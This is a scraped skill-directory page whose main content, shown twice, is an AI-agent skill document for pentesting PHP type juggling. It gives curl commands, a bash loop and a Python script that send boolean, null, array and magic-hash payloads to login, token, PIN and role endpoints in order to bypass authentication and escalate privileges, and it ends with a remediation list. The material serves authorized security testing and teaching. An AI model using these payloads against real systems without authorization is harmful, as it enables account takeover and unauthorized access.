[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7D8K1VEXF0JMMK06198DK7D":3,"skill-same:01M7D8K1VEXF0JMMK06198DK7D":87},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":48,"commitSha":49,"skillDirectory":50,"forksCount":51,"repositoryHtmlUrl":52,"repositoryHomepageUrl":6,"ownerHtmlUrl":53,"ownerBlogUrl":54,"ownerDescription":55,"updatedAt":56,"install":57,"resources":70},"01M7D8K1VEXF0JMMK06198DK7D","exploiting-type-juggling-vulnerabilities",null,"Exploits PHP type juggling vulnerabilities caused by loose (==) comparison operators to bypass authentication, defeat hash verification via magic hashes, and manipulate application logic through type coercion. Use when pentesting PHP applications that compare user input with ==, in_array, or hash functions without strict type checks.","SaiVatsal\u002FSkills-I-Use","SaiVatsal","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F242597752?v=4","01M7D5YM1T4VXW9203M0GFAHZ1","SaiVatsalPolimera","01M7D5YM2D61ST39XVR2V7B7ZJ",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-type-juggling-vulnerabilities\ndescription: Exploits PHP type juggling vulnerabilities caused by loose (==) comparison\n  operators to bypass authentication, defeat hash verification via magic hashes,\n  and manipulate application logic through type coercion. Use when pentesting PHP\n  applications that compare user input with ==, in_array, or hash functions without\n  strict type checks.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- type-juggling\n- php-security\n- loose-comparison\n- authentication-bypass\n- magic-hash\n- type-coercion\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1027\n---\n\n# Exploiting Type Juggling Vulnerabilities\n\n## When to Use\n- When testing PHP web applications for authentication bypass vulnerabilities\n- During assessment of password comparison and hash verification logic\n- When testing applications using loose comparison (== instead of ===)\n- During code review of PHP applications handling JSON or deserialized input\n- When evaluating input validation that relies on type-dependent comparison\n\n## Prerequisites\n- Understanding of PHP type system and loose comparison behavior\n- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation\n- Burp Suite for request manipulation and parameter type changing\n- PHP development environment for testing payloads locally\n- Collection of magic hash strings from PayloadsAllTheThings\n- Ability to send JSON or serialized data to control input types\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Type Juggling Candidates\n```bash\n# Look for PHP applications with:\n# - Login\u002Fauthentication forms\n# - Password comparison endpoints\n# - API endpoints accepting JSON input\n# - Token\u002Fhash verification\n# - Numeric comparison for access control\n\n# Check if application accepts JSON input (allows type control)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"test\"}'\n\n# If application normally uses form data, try JSON\n# Form: username=admin&password=test\n# JSON: {\"username\":\"admin\",\"password\":true}\n```\n\n### Step 2 — Exploit Loose Comparison Authentication Bypass\n```bash\n# PHP loose comparison: 0 == \"password\" returns TRUE\n# Send integer 0 as password via JSON\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":0}'\n\n# Send boolean true (TRUE == \"any_string\" in loose comparison)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":true}'\n\n# Send empty array (array bypasses strcmp)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":[]}'\n\n# Send null\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":null}'\n\n# PHP strcmp vulnerability: strcmp(array, string) returns NULL\n# NULL == 0 is TRUE in loose comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password[]=anything\"\n```\n\n### Step 3 — Exploit Magic Hash Collisions\n```bash\n# PHP treats \"0e...\" strings as scientific notation (0 * 10^N = 0)\n# If hash starts with \"0e\" followed by only digits, it equals 0 in loose comparison\n\n# Magic MD5 hashes (all evaluate to 0 in loose comparison):\n# \"240610708\" -> md5: 0e462097431906509019562988736854\n# \"QNKCDZO\"  -> md5: 0e830400451993494058024219903391\n# \"aabg7XSs\" -> md5: 0e087386482136013740957780965295\n# \"aabC9RqS\" -> md5: 0e041022518165728065344349536299\n\n# If application compares md5(user_input) == stored_hash:\n# And stored_hash starts with \"0e\" and contains only digits after\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password=240610708\"\n\n# Magic SHA1 hashes:\n# \"aaroZmOk\" -> sha1: 0e66507019969427134894567494305185566735\n# \"aaK1STfY\" -> sha1: 0e76658526655756207688271159624026011393\n\n# Test with known magic hash values\nfor payload in \"240610708\" \"QNKCDZO\" \"aabg7XSs\" \"aabC9RqS\" \"0e1137126905\" \"0e215962017\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n    -d \"username=admin&password=$payload\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"\n  echo\ndone\n```\n\n### Step 4 — Exploit Comparison in Access Control\n```bash\n# Numeric comparison bypass\n# If: if($user_id == $target_id) { \u002F\u002F allow access }\n# \"0\" == \"0e12345\" is TRUE (both evaluate to 0)\n\n# String to integer conversion\n# \"1abc\" == 1 is TRUE in PHP (string truncated to integer)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1abc\"\n\n# Boolean comparison for role checking\n# if($role == true) grants access to any non-empty string\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\":\"delete\",\"role\":true}'\n\n# Null comparison for optional checks\n# if($token == null) might skip validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":0}'\n```\n\n### Step 5 — Exploit via Deserialization Input\n```bash\n# PHP json_decode() preserves types\n# Attacker controls type via JSON: true, 0, null, []\n\n# Bypass token verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-token \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":true}'\n\n# Bypass numeric PIN verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-pin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"pin\":true}'\n\n# Bypass with zero value\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheck-code \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"code\":0}'\n\n# PHP unserialize() type juggling\n# Craft serialized object with integer type instead of string\n# s:8:\"password\"; -> i:0; (string \"password\" to integer 0)\n```\n\n### Step 6 — Automated Type Juggling Testing\n```bash\n# Test all common type juggling payloads against each parameter\n# Using Burp Intruder with type juggling payload list\n\n# Payload list for JSON-based testing:\n# true\n# false\n# null\n# 0\n# 1\n# \"\"\n# []\n# \"0\"\n# \"0e99999\"\n# \"240610708\"\n\n# Python automation\npython3 -c \"\nimport requests\nimport json\n\nurl = 'http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin'\npayloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']\n\nfor p in payloads:\n    data = {'username': 'admin', 'password': p}\n    r = requests.post(url, json=data)\n    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')\n\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |\n| Strict Comparison (===) | PHP comparison requiring both value and type to match |\n| Magic Hash | String whose hash starts with \"0e\" followed by digits, evaluating to 0 in loose comparison |\n| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |\n| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |\n| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |\n| Scientific Notation | PHP interprets \"0eN\" strings as 0 in exponential notation during numeric comparison |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for changing parameter types in requests |\n| PHP interactive shell | Local testing of type juggling behavior |\n| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |\n| phpggc | PHP generic gadget chains for deserialization exploitation |\n| Custom Python scripts | Automated type juggling payload testing |\n| PHPStan\u002FPsalm | Static analysis tools detecting loose comparisons in code |\n\n## Common Scenarios\n\n1. **Authentication Bypass via Boolean** — Send `\"password\": true` as JSON to bypass loose comparison password verification\n2. **Magic Hash Collision** — Use known magic hash input (\"240610708\") whose MD5 starts with \"0e\" to match against stored hashes\n3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison\n4. **PIN\u002FOTP Bypass** — Send integer 0 as verification code to match against \"0e...\" hash of the actual code\n5. **Role Escalation** — Send `\"role\": true` to match any non-empty role string in loose comparison access checks\n\n## Output Format\n\n```\n## Type Juggling Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Language**: PHP 8.1\n- **Framework**: Laravel\n\n### Findings\n| # | Endpoint | Parameter | Payload | Type | Impact |\n|---|----------|-----------|---------|------|--------|\n| 1 | POST \u002Flogin | password | true (boolean) | Loose comparison | Auth bypass |\n| 2 | POST \u002Flogin | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |\n| 3 | POST \u002Flogin | password[] | array | strcmp NULL return | Auth bypass |\n| 4 | POST \u002Fverify | code | 0 (integer) | Numeric comparison | OTP bypass |\n\n### PHP Comparison Table (Relevant)\n| Expression | Result | Reason |\n|-----------|--------|--------|\n| 0 == \"password\" | TRUE | String cast to 0 |\n| true == \"password\" | TRUE | Non-empty string is truthy |\n| \"0e123\" == \"0e456\" | TRUE | Both are scientific notation = 0 |\n| NULL == 0 | TRUE | NULL cast to 0 |\n\n### Remediation\n- Replace all == with === (strict comparison) in security-critical code\n- Use password_verify() for password comparison instead of direct comparison\n- Use hash_equals() for timing-safe hash comparison\n- Validate input types before comparison operations\n- Enable PHP strict_types declaration in all files\n```\n","# Exploiting Type Juggling Vulnerabilities\n\n## When to Use\n- When testing PHP web applications for authentication bypass vulnerabilities\n- During assessment of password comparison and hash verification logic\n- When testing applications using loose comparison (== instead of ===)\n- During code review of PHP applications handling JSON or deserialized input\n- When evaluating input validation that relies on type-dependent comparison\n\n## Prerequisites\n- Understanding of PHP type system and loose comparison behavior\n- Knowledge of magic hash values (0e prefix) and their scientific notation interpretation\n- Burp Suite for request manipulation and parameter type changing\n- PHP development environment for testing payloads locally\n- Collection of magic hash strings from PayloadsAllTheThings\n- Ability to send JSON or serialized data to control input types\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1 — Identify Type Juggling Candidates\n```bash\n# Look for PHP applications with:\n# - Login\u002Fauthentication forms\n# - Password comparison endpoints\n# - API endpoints accepting JSON input\n# - Token\u002Fhash verification\n# - Numeric comparison for access control\n\n# Check if application accepts JSON input (allows type control)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":\"test\"}'\n\n# If application normally uses form data, try JSON\n# Form: username=admin&password=test\n# JSON: {\"username\":\"admin\",\"password\":true}\n```\n\n### Step 2 — Exploit Loose Comparison Authentication Bypass\n```bash\n# PHP loose comparison: 0 == \"password\" returns TRUE\n# Send integer 0 as password via JSON\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":0}'\n\n# Send boolean true (TRUE == \"any_string\" in loose comparison)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":true}'\n\n# Send empty array (array bypasses strcmp)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":[]}'\n\n# Send null\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"username\":\"admin\",\"password\":null}'\n\n# PHP strcmp vulnerability: strcmp(array, string) returns NULL\n# NULL == 0 is TRUE in loose comparison\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password[]=anything\"\n```\n\n### Step 3 — Exploit Magic Hash Collisions\n```bash\n# PHP treats \"0e...\" strings as scientific notation (0 * 10^N = 0)\n# If hash starts with \"0e\" followed by only digits, it equals 0 in loose comparison\n\n# Magic MD5 hashes (all evaluate to 0 in loose comparison):\n# \"240610708\" -> md5: 0e462097431906509019562988736854\n# \"QNKCDZO\"  -> md5: 0e830400451993494058024219903391\n# \"aabg7XSs\" -> md5: 0e087386482136013740957780965295\n# \"aabC9RqS\" -> md5: 0e041022518165728065344349536299\n\n# If application compares md5(user_input) == stored_hash:\n# And stored_hash starts with \"0e\" and contains only digits after\ncurl -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n  -d \"username=admin&password=240610708\"\n\n# Magic SHA1 hashes:\n# \"aaroZmOk\" -> sha1: 0e66507019969427134894567494305185566735\n# \"aaK1STfY\" -> sha1: 0e76658526655756207688271159624026011393\n\n# Test with known magic hash values\nfor payload in \"240610708\" \"QNKCDZO\" \"aabg7XSs\" \"aabC9RqS\" \"0e1137126905\" \"0e215962017\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s -X POST http:\u002F\u002Ftarget.com\u002Flogin \\\n    -d \"username=admin&password=$payload\" -o \u002Fdev\u002Fnull -w \"%{http_code}\"\n  echo\ndone\n```\n\n### Step 4 — Exploit Comparison in Access Control\n```bash\n# Numeric comparison bypass\n# If: if($user_id == $target_id) { \u002F\u002F allow access }\n# \"0\" == \"0e12345\" is TRUE (both evaluate to 0)\n\n# String to integer conversion\n# \"1abc\" == 1 is TRUE in PHP (string truncated to integer)\ncurl \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fuser?id=1abc\"\n\n# Boolean comparison for role checking\n# if($role == true) grants access to any non-empty string\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faction \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"action\":\"delete\",\"role\":true}'\n\n# Null comparison for optional checks\n# if($token == null) might skip validation\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":0}'\n```\n\n### Step 5 — Exploit via Deserialization Input\n```bash\n# PHP json_decode() preserves types\n# Attacker controls type via JSON: true, 0, null, []\n\n# Bypass token verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-token \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"token\":true}'\n\n# Bypass numeric PIN verification\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fverify-pin \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"pin\":true}'\n\n# Bypass with zero value\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fcheck-code \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"code\":0}'\n\n# PHP unserialize() type juggling\n# Craft serialized object with integer type instead of string\n# s:8:\"password\"; -> i:0; (string \"password\" to integer 0)\n```\n\n### Step 6 — Automated Type Juggling Testing\n```bash\n# Test all common type juggling payloads against each parameter\n# Using Burp Intruder with type juggling payload list\n\n# Payload list for JSON-based testing:\n# true\n# false\n# null\n# 0\n# 1\n# \"\"\n# []\n# \"0\"\n# \"0e99999\"\n# \"240610708\"\n\n# Python automation\npython3 -c \"\nimport requests\nimport json\n\nurl = 'http:\u002F\u002Ftarget.com\u002Fapi\u002Flogin'\npayloads = [True, False, None, 0, 1, '', [], '0', '0e99999', '240610708', 'QNKCDZO']\n\nfor p in payloads:\n    data = {'username': 'admin', 'password': p}\n    r = requests.post(url, json=data)\n    print(f'password={json.dumps(p):20s} -> Status: {r.status_code}, Length: {len(r.text)}')\n\"\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Loose Comparison (==) | PHP comparison that performs type coercion before comparing values |\n| Strict Comparison (===) | PHP comparison requiring both value and type to match |\n| Magic Hash | String whose hash starts with \"0e\" followed by digits, evaluating to 0 in loose comparison |\n| Type Coercion | Automatic conversion between types (string to int, null to 0) during comparison |\n| strcmp Bypass | Passing array to strcmp() returns NULL, which equals 0 in loose comparison |\n| JSON Type Control | Using JSON input to send specific types (boolean, integer, null) to PHP endpoints |\n| Scientific Notation | PHP interprets \"0eN\" strings as 0 in exponential notation during numeric comparison |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| Burp Suite | HTTP proxy for changing parameter types in requests |\n| PHP interactive shell | Local testing of type juggling behavior |\n| PayloadsAllTheThings | Curated magic hash and type juggling payload lists |\n| phpggc | PHP generic gadget chains for deserialization exploitation |\n| Custom Python scripts | Automated type juggling payload testing |\n| PHPStan\u002FPsalm | Static analysis tools detecting loose comparisons in code |\n\n## Common Scenarios\n\n1. **Authentication Bypass via Boolean** — Send `\"password\": true` as JSON to bypass loose comparison password verification\n2. **Magic Hash Collision** — Use known magic hash input (\"240610708\") whose MD5 starts with \"0e\" to match against stored hashes\n3. **strcmp Array Bypass** — Send `password[]=anything` to make strcmp() return NULL, bypassing password comparison\n4. **PIN\u002FOTP Bypass** — Send integer 0 as verification code to match against \"0e...\" hash of the actual code\n5. **Role Escalation** — Send `\"role\": true` to match any non-empty role string in loose comparison access checks\n\n## Output Format\n\n```\n## Type Juggling Vulnerability Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Language**: PHP 8.1\n- **Framework**: Laravel\n\n### Findings\n| # | Endpoint | Parameter | Payload | Type | Impact |\n|---|----------|-----------|---------|------|--------|\n| 1 | POST \u002Flogin | password | true (boolean) | Loose comparison | Auth bypass |\n| 2 | POST \u002Flogin | password | 240610708 (magic hash) | MD5 0e collision | Auth bypass |\n| 3 | POST \u002Flogin | password[] | array | strcmp NULL return | Auth bypass |\n| 4 | POST \u002Fverify | code | 0 (integer) | Numeric comparison | OTP bypass |\n\n### PHP Comparison Table (Relevant)\n| Expression | Result | Reason |\n|-----------|--------|--------|\n| 0 == \"password\" | TRUE | String cast to 0 |\n| true == \"password\" | TRUE | Non-empty string is truthy |\n| \"0e123\" == \"0e456\" | TRUE | Both are scientific notation = 0 |\n| NULL == 0 | TRUE | NULL cast to 0 |\n\n### Remediation\n- Replace all == with === (strict comparison) in security-critical code\n- Use password_verify() for password comparison instead of direct comparison\n- Use hash_equals() for timing-safe hash comparison\n- Validate input types before comparison operations\n- Enable PHP strict_types declaration in all files\n```\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":7,"mitre_attack":42},[26,27,28,29,30,31,32],"type-juggling","php-security","loose-comparison","authentication-bypass","magic-hash","type-coercion","web-security","mahipal","cybersecurity","1.0",[37,38,39,40],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[43,44,45,46,47],"T1190","T1059.007","T1505.003","T1083","T1027","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":58,"prompt":68,"zipAvailable":69},[59,62,65],{"tool":60,"command":61},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-type-juggling-vulnerabilities",{"tool":63,"command":64},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-type-juggling-vulnerabilities",{"tool":66,"command":67},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill exploiting-type-juggling-vulnerabilities","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002FSKILL.md",true,[71,75,81],{"path":72,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":76,"resourceType":77,"resourceTypeDesc":78,"sizeBytes":79,"sourceHtmlUrl":80},"references\u002Fapi-reference.md","REFERENCE","参考文档",2168,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002Freferences\u002Fapi-reference.md",{"path":82,"resourceType":83,"resourceTypeDesc":84,"sizeBytes":85,"sourceHtmlUrl":86},"scripts\u002Fagent.py","SCRIPT","脚本",5364,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Fexploiting-type-juggling-vulnerabilities\u002Fscripts\u002Fagent.py",[88,96,104,113,120,127],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":92,"sourceHtmlUrl":93,"categories":94,"keywords":95,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":97,"name":98,"nameZh":6,"description":99,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":100,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":108,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]